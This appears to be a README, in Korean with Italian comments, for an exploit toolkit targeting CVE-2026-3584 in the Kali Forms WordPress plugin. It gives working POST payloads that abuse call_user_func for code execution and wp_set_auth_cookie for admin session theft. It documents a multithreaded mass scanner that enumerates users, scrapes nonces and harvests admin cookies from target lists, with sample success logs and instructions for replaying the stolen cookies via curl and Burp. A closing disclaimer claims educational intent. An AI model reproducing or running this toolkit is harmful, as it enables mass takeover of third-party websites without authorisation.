
CVE-2026-3584
🔥 취약점 요약
WordPress 플러그인 Kali Forms 버전 <= 2.4.9에는 치명적인 인증되지 않은 원격 코드 실행(RCE) 취약점이 존재합니다. 이 결함으로 인해 인증되지 않은 공격자는 인가 검사 없이 공개적으로 노출된 AJAX 엔드포인트 kaliforms_form_process를 통해 서버에서 임의의 PHP 코드를 실행하고 완전한 관리자 권한을 획득할 수 있습니다.
이 취약점은 사용자 제어 파라미터(thisPermalink 및 entryCounter 포함)를 받아들이고 임의의 PHP 콜백을 실행하는 form_process 함수에서 발생하며, 다음과 같은 결과를 초래합니다:
phpinfo(), system(), eval() 등을 통한 원격 코드 실행(RCE)wp_set_auth_cookie()를 통한 권한 상승취약점은 Kali Forms 플러그인의 AJAX 요청을 처리하는 form_process 함수에서 발생합니다. 취약한 코드는 다음을 통해 노출됩니다:
// Endpoint AJAX accessibile senza autenticazione
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));
익스플로잇 흐름:
보호되지 않은 엔드포인트: /wp-admin/admin-ajax.php?action=kaliforms_form_process 엔드포인트는 wp_ajax_nopriv_ 훅을 통해 인증되지 않은 사용자도 접근할 수 있습니다.
사용자 제어 파라미터:
data[thisPermalink] - 임의의 PHP 함수 이름을 포함할 수 있음data[entryCounter] - 임의의 PHP 함수 이름을 포함할 수 있음data[formId] - 처리할 폼의 ID필터링되지 않은 콜백 실행: 취약한 코드는 검증 없이 PHP 콜백을 실행합니다:
$callback = $_POST['data']['thisPermalink'];
call_user_func($callback); // Nessun controllo!
익스플로잇 체인:
Attacker → POST Request → kaliforms_form_process
↓
thisPermalink=phpinfo → call_user_func('phpinfo')
↓
PHP Code Execution → phpinfo() eseguito
↓
entryCounter=wp_set_auth_cookie → Cookie amministratore generato
↓
Full Admin Access
취약한 요청 예시:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]
결과: 서버가 phpinfo()를 실행하고 PHP 구성에 대한 전체 정보를 반환합니다.
권한 상승 요청:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]
결과: WordPress는 wp_set_auth_cookie(user_id)를 실행하며, 여기서 user_id는 종종 formId와 일치하여 유효한 관리자 세션 쿠키를 생성합니다.
mass_scanner.py는 CVE-2026-3584 취약점의 완전한 악용을 위한 4단계 자동화 파이프라인을 구현합니다:
┌─────────────────────────────────────────────────────────────────────────────┐
│ MASS SCANNER PIPELINE │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Fase 1: Ricognizione API REST │
│ ├─ Enumera utenti: /wp-json/wp/v2/users │
│ └─ Enumera post: /wp-json/wp/v2/posts │
│ → Identifica user_id e post_id per escalation │
│ │
│ Fase 2: Scoperta Moduli │
│ ├─ Crawl sito (depth=2) │
│ ├─ Cerca pattern: 'KaliFormsObject', 'kaliforms' │
│ ├─ Estrae nonce da JavaScript │
│ └─ Estrae formId da HTML │
│ → Trova tutti i moduli Kali Forms vulnerabili │
│ │
│ Fase 3: Test RCE │
│ ├─ Invia: data[thisPermalink]=phpinfo │
│ ├─ Verifica: 'PHP Version' in response │
│ └─ Salva: result/target_phpinfo.html │
│ → Conferma esecuzione codice remoto │
│ │
│ Fase 4: Escalation Privilegi │
│ ├─ Invia: data[entryCounter]=wp_set_auth_cookie │
│ ├─ Estrae: wordpress_logged_in + wordpress_sec cookies │
│ ├─ Verifica: Accesso a /wp-admin/ senza redirect │
│ └─ Salva: result_cookie/target.txt │
│ → Ottiene accesso amministratore completo │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
1. 자동 URL 정규화
def normalize_url(self, target):
# Aggiunge automaticamente http:// o https://
# Prova prima HTTPS, poi fallback su HTTP
# Gestisce porte personalizzate (es. :8080)
2. REST API 열거
def enumerate_users_api(self, target):
# GET /wp-json/wp/v2/users
# Estrae tutti gli user_id disponibili
# Usato per mappare formId → user_id
def enumerate_posts_api(self, target):
# GET /wp-json/wp/v2/posts
# Estrae tutti i post_id disponibili
# Identifica sovrapposizioni user_id/post_id
3. 폼 검색(스마트 크롤링)
def discover_pages(self, target, max_depth=2):
# Crawl ricorsivo del sito
# Cerca pattern JavaScript: 'KaliFormsObject'
# Filtra URL non necessari (js, css, immagini)
# Segue solo link interni
# Ritorna lista pagine con Kali Forms
4. 폼 데이터 추출
def extract_form_data(self, page_url):
# Estrae nonce da JavaScript:
# KaliFormsObject = { ajax_nonce: "abc123" }
# Estrae formId da HTML:
# data-id="1" o [kaliform id="1"]
# Se nonce trovato ma no formId:
# Brute force ID 1-10
5. RCE 테스트
def test_rce(self, target, form_id, nonce):
# POST /wp-admin/admin-ajax.php
# Payload: data[thisPermalink]=phpinfo
# Verifica: len(response) > 10000 e 'PHP Version' presente
# Salva HTML completo per analisi
6. 권한 상승 테스트
def test_privilege_escalation_fast(self, target, nonce, user_ids, post_ids):
# Strategia intelligente:
# 1. Cerca sovrapposizioni user_id/post_id
# 2. Testa prima ID con alta probabilità successo
# 3. Fallback su ID comuni: 1,2,3,4,5
# Per ogni formId candidato:
# POST data[entryCounter]=wp_set_auth_cookie
# Estrae cookie: wordpress_logged_in + wordpress_sec
# Verifica: GET /wp-admin/ → no redirect
# Controlla: 'dashboard' in response
7. 멀티 스레딩
# ThreadPoolExecutor per elaborazione parallela
# Thread-safe locks per scrittura risultati
# Salvataggio real-time (append mode)
# Statistiche globali con sync
8. 자동 백업 시스템
def backup_previous_results(self):
# Prima di ogni scan:
# result_phpinfo.txt → result_phpinfo.txt.20260325_120000.backup
# result/ → result.20260325_120000.backup/
# result_cookie/ → result_cookie.20260325_120000.backup/
# Preserva tutti i dati storici
pip3 install requests beautifulsoup4
targets.txt 파일을 한 줄에 대상 하나씩 생성합니다(http/https는 선택 사항):
example.com
wordpress.site
192.168.1.100
http://blog.example.org
https://secure.site.com:8080
# Scansione con impostazioni predefinite (20 thread)
python3 mass_scanner.py targets.txt
# Scansione con thread personalizzati
python3 mass_scanner.py -t 10 targets.txt
# Scansione con numero massimo di thread
python3 mass_scanner.py --threads 50 targets.txt
======================================================================
SCANNER DI MASSA - CVE-2026-3584 Pipeline Completa
======================================================================
Obiettivi: 100
Thread: 20
Pipeline: Ricognizione → Scoperta Moduli → RCE → Escalation Privilegi
======================================================================
[*] Risultati precedenti salvati in: result_phpinfo.txt.20260325_120000.backup
[04:38:28] [INFO] https://target1.com: Avvio scansione...
[04:38:28] [INFO] https://target1.com: Fase 1: Enumerazione API REST...
[04:38:29] [INFO] https://target1.com: Trovati 3 utenti via API
[04:38:29] [INFO] https://target1.com: Trovati 5 post via API
[04:38:29] [INFO] https://target1.com: Fase 2: Scoperta moduli...
[04:38:31] [INFO] https://target1.com: Trovate 8 pagine con moduli
[04:38:31] [INFO] https://target1.com: Fase 3: Test RCE...
[04:38:31] [INFO] https://target1.com: Test modulo/i [1, 2, 3] con nonce 46aedbd3...
[04:38:32] [SUCCESS] https://target1.com: RCE SUCCESSO sul modulo 1!
[04:38:32] [INFO] https://target1.com: Salvato phpinfo in result/target1.com_form1_phpinfo.html
[04:38:32] [INFO] https://target1.com: Fase 4: Test escalation privilegi...
[04:38:33] [CRITICAL] https://target1.com: ESCALATION PRIVILEGI RIUSCITA con formId=1!
[04:38:33] [INFO] https://target1.com: Cookie salvato in result_cookie/target1.com.txt
[04:38:35] [INFO] https://target2.com: Avvio scansione...
[04:38:36] [INFO] https://target2.com: Fase 1: Enumerazione API REST...
[04:38:37] [WARN] https://target2.com: Nessun Kali Forms trovato
...
======================================================================
STATISTICHE SCANSIONE
======================================================================
Obiettivi totali: 100
Scansionati: 100
Vulnerabili: 45
- Solo RCE: 10
- Escalation Priv (CVSS10): 35
Falliti: 55
======================================================================
Risultati salvati:
- result_phpinfo.txt (RCE riuscito)
- result_yes_all.txt (RCE + Escalation Privilegi)
- result/*.html (Output phpinfo)
- result_cookie/*.txt (Richieste HTTP con cookie amministrativi)
======================================================================
/root/
├── result_phpinfo.txt # Lista obiettivi con RCE confermato
├── result_yes_all.txt # Lista obiettivi con accesso admin completo
├── result/ # File HTML phpinfo dettagliati
│ ├── target1.com_form1_phpinfo.html
│ ├── target2.org_form2_phpinfo.html
│ └── ...
└── result_cookie/ # Richieste HTTP con cookie amministrativi
├── target1.com.txt
├── target2.org.txt
└── ...
https://target1.com | Modulo: https://target1.com/contact | ID Modulo: 1 | Nonce: 46aedbd358 | File: result/target1.com_form1_phpinfo.html
https://target2.org | Modulo: https://target2.org/form | ID Modulo: 2 | Nonce: abc123def4 | File: result/target2.org_form2_phpinfo.html
======================================================================
OBIETTIVO: https://target1.com
TIMESTAMP: 2026-03-25T04:38:33.123456
======================================================================
RCE: SUCCESSO
URL Modulo: https://target1.com/contact
ID Modulo: 1
Nonce: 46aedbd358
phpinfo: result/target1.com_form1_phpinfo.html
ESCALATION PRIVILEGI: SUCCESSO (CVSS 10.0)
Exploit formId: 1
Cookie: wordpress_logged_in_xxx=...; wordpress_sec_xxx=...
File Cookie: result_cookie/target1.com.txt
Impatto: Accesso amministrativo completo
COMANDI DI SFRUTTAMENTO:
Test RCE:
python3 baru_cve_nih.py https://target1.com/contact 1 46aedbd358
Escalation Privilegi:
python3 POC_privilege_escalation_v3.py https://target1.com 46aedbd358
======================================================================
GET /wp-admin/ HTTP/1.1
Host: target.com
Cookie: wordpress_logged_in_xxx=admin%7C1774600707%7C...; wordpress_sec_xxx=admin%7C1774600707%7C...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it,en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
이 형식은 Burp Suite Repeater에 직접 복사하여 붙여넣거나 curl과 함께 사용할 준비가 된 상태입니다.
방법 1: curl로 테스트
# Estrarre cookie dal file
COOKIE=$(grep "^Cookie:" result_cookie/target.com.txt | sed 's/^Cookie: //')
# Testare accesso amministrativo
curl -H "Cookie: $COOKIE" https://target.com/wp-admin/ | grep -i dashboard
# Se output contiene "Dashboard" → Cookie funzionante!
방법 2: Burp Suite에서 사용
# Passo 1: Generare configurazione automatica (opzionale)
./burp_config_gen.sh result_cookie/target.com.txt
# Passo 2: Burp Suite → Proxy → Options → Match and Replace → Add
# Passo 3: Configurazione:
Type: Request header
Match: ^Cookie:.*$
Replace: Cookie: [INCOLLA_COOKIE_DA_FILE]
☑ Regex match
# Passo 4: Abilitare la regola (checkbox)
# Passo 5: Navigare a https://target.com/wp-admin/
# Risultato: Accesso amministratore immediato
스캔 중에는 결과를 실시간으로 모니터링할 수 있습니다:
# Terminal 1: Esegui scanner
python3 mass_scanner.py targets.txt
# Terminal 2: Monitora risultati RCE
watch -n 2 'tail -20 result_phpinfo.txt'
# Terminal 3: Monitora escalation privilegi
watch -n 2 'tail -20 result_yes_all.txt'
# Terminal 4: Conta obiettivi vulnerabili
watch -n 5 'echo "RCE: $(wc -l < result_phpinfo.txt) | Admin: $(grep -c "ESCALATION PRIVILEGI: SUCCESSO" result_yes_all.txt)"'
스캐너는 새 스캔을 시작하기 전에 이전 결과를 자동으로 백업합니다:
Scansione 1: [12:00]
result_phpinfo.txt
result_yes_all.txt
result/
result_cookie/
Scansione 2: [13:00] - Backup automatico!
[*] Risultati precedenti salvati in: result_phpinfo.txt.20260325_120000.backup
[*] Risultati precedenti salvati in: result_yes_all.txt.20260325_120000.backup
[*] File phpinfo precedenti salvati in: result.20260325_120000.backup/
[*] File cookie precedenti salvati in: result_cookie.20260325_120000.backup/
Tutti i dati precedenti sono preservati con timestamp!
권장 스레드 수:
# Rete veloce, molti obiettivi
python3 mass_scanner.py -t 50 targets.txt
# Rete media, obiettivi moderati
python3 mass_scanner.py -t 20 targets.txt # (predefinito)
# Rete lenta o pochi obiettivi
python3 mass_scanner.py -t 10 targets.txt
# Test singolo (debug)
python3 mass_scanner.py -t 1 targets.txt
예상 성능:
문제: 취약한 대상이 발견되지 않음
# Verifica manuale che il sito abbia Kali Forms
curl -s https://target.com | grep -i "kaliforms"
# Se trovato, estrai nonce manualmente
curl -s https://target.com | grep -i "KaliFormsObject"
문제: 빈번한 시간 초과
# Riduci numero di thread
python3 mass_scanner.py -t 5 targets.txt
# O aumenta timeout modificando il codice (timeout=10 → timeout=30)
문제: 쿠키가 작동하지 않음
# Verifica validità cookie
python3 test_burp_persistent.sh http://target.com
# Se fallisce, rigenera cookie con:
python3 get_fresh_admin_cookie.py http://target.com [NONCE]
⚠️ 중요:
이 정보와 도구는 교육 목적 및 승인된 보안 테스트 용도로만 제공됩니다.
컴퓨터 시스템에 대한 무단 접근 또는 사용은 불법이며 비윤리적입니다.
이 저장소의 작성자와 기여자는 이러한 도구의 오용 또는 이로 인한 피해에 대해 책임을 지지 않습니다. 사용자는 시스템을 테스트하기 전에 적절한 권한이 있는지 확인할 책임이 있습니다.
책임감 있게, 그리고 명시적인 서면 허가를 받은 경우에만 사용하십시오.
CVE 및 권고:
취약한 플러그인:
CVE-2026-3584 | Kali Forms <= 2.4.9 | CVSS 10.0 Critical
보안 연구 | 책임 있는 공개 | 정보 보안 교육